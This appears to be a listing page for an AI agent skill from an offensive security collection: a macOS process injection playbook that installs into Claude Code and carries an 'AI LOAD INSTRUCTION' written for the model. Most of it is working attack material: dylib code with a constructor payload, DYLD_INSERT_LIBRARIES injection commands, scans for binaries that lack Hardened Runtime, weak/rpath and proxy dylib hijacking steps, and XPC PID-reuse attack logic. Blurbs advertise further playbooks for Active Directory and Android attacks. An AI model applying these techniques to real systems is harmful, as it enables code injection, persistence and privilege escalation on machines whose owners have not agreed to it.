401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.
$ npx -y skills add yaklang/hack-skills --skill macos-process-injection --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/macos-process-injectionContext preview
The summary Claude sees to decide when to auto-load this skill.
macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.
name: macos-process-injection description: >- macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.
> **AI LOAD INSTRUCTION**: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors.
Before going deep, consider loading:
Also load [DYLIB_XPC_TECHNIQUES.md](./DYLIB_XPC_TECHNIQUES.md) when you need:
---
The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.
| Condition | Can Inject? | Reason | |---|---|---| | Normal (non-hardened) binary | Yes | No restrictions | | Hardened Runtime enabled | No | DYLD strips env vars | | Hardened Runtime + `com.apple.security.cs.allow-dyld-environment-variables` | Yes | Entitlement explicitly allows it | | Apple system binary (SIP-protected) | No | DYLD env vars stripped by SIP | | SUID/SGID binary | No | DYLD env vars stripped for privilege safety | | App Sandbox enabled | No | Sandbox blocks env var injection |
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
printf("[+] Injected into PID %d\n", getpid());
// payload here
}
EOF
# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
if [ -n "$binary" ]; then
flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
fi
' _ {} \;
# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
codesign -d --entitlements :- "$binary" 2>/dev/null | \
grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;---
Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.
Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.
# Find binaries with weak dylib references otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB # Check if the weak dylib actually exists otool -L /path/to/binary | grep weak | while read lib rest; do [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib" done
`@rpath` is resolved from `LC_RPATH` entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.
# List rpath entries otool -l /path/to/binary | grep -A 2 LC_RPATH # List rpath-relative dylib references otool -L /path/to/binary | grep @rpath # If rpath includes writable directory (e.g., app's Frameworks/) # place malicious dylib with matching name there
Replace a legitimate dylib with a malicious one that forwards all exports to the original.
# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'
# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
// malicious code here
}
EOF
gcc -dynamiclib -o hijacked.dylib proxy.c \
-Wl,-reexport_library,/path/to/original_real.dylib \
-arch x86_64 -arch arm64otool -L /path/to/binary # List all dylib dependencies otool -l /path/to/binary # Full load commands (rpaths, weak, etc.) dyldinfo -print_dependencies /path/to/binary # Detailed dependency info (pre-Ventura)
---
XPC (Cross-Process Communication) is macOS's primary IPC mechanism for privilege separation. Privileged XPC services are high-value targets.
# System XPC services find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20 # Third-party XPC services find /Library /Applications -name "*.xpc" -type d 2>/dev/null # LaunchDaemon XPC services (root-level) grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null
XPC connections validated by PID are vulnerable to race conditions: attacker spawns process, PID is checked and passes, attacker's process exits, OS reuses PID for malicious process.
| Validation Method | Vulnerable? | Notes | |---|---|---| | PID-based check | Yes | PID recycled after process exit | | Audit token | No | Unique per process lifecycle, not recycled | | Code signature check | No |
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…